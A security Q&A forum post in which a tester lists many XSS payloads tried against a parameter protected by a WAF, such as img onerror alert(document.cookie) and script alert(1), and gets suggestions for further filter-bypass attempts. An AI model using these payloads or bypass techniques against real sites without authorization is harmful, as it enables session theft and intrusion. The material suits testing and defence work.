Possible Cross-site scripting vulnerability, site accepts <> but returns empty response when a complete script is sent

Question

I have a parameter, let's call it p which normally accepts true or false as a string.

I can send the following command and it will be printed, the only thing hindering the script from executing is the %-sign after <.

p=true<%img%20src%3d"x"%20onerror%3dalert(document.cookie);>

And here is the problem, I can only send scripts that will not execute. If I send correct html/script the server returns HTTP/1.1 200 OK but with an empty response. But since the server accepts <> I don't wan't to give up just yet.

From the responses I have sent, I think that < must be followed by a non alphabetical character in order for the code to execute, or %** except for some values ex %2f and %21. I can send in URL-encoded values that is printed as clear text in the application but no alphabetical character that I have tried works, for example %73 for s returns an empty response.

Any ideas what I can try more?

Sample of the things I have tried:

Request returns response:

<%img%20src%3d"x"%20onerror%3dalert(document.cookie);>
<%script>alert(1)<%/script>
<"script>alert(1)<"/script>
<%A1cript>alert(1)<%A1script> 
<%script>alert(1)<%2escript>
<%script>alert(1)<"%2fscript>
<%script>alert(1)<%20script>
<%script>alert(1)<%30script>
<%script>alert(1)<%40script>
<@script>alert(1)<@/script>
<1script>alert(1)<1/script>

Empty response:

<img%20src%3d"x"%20onerror%3dalert(document.cookie);>
<script>alert(1)</script>
<%script>alert(1)</script>
<script>alert(1)<%/script>
<%73cript>alert(1)<%2Fscript>
<%script>alert(1)<%2fscript>
<%script>alert(1)<%21script>
<%script>alert(1)<%50script>
<%00script>alert(1)<%script>

If I send requests with %0* or %1* i get: HTTP/1.1 500 Internal Server Error. However the error that is printed states Bad Request

<%script>alert(1)<%1escript> 

400 Bad Request - Illegal XML character found among arguments: facets: p:<%script>alert(1)<\u001Escript>

Answer 1

This question concerns a specific WAF bypass, for which the answer is really dependent on the exact implementation and thus cannot fully be answered.

Deriving from your inputs, this WAF appears to be a pretty solid solution to prevent XSS.

A few samples I am missing from the list:

• Payloads using capitalization
• Payloads using XML-like tags, e.g. <?XML ?>
• Payloads using various Unicode characters

Although it is not unlikely the WAF was correctly implemented in this scenario.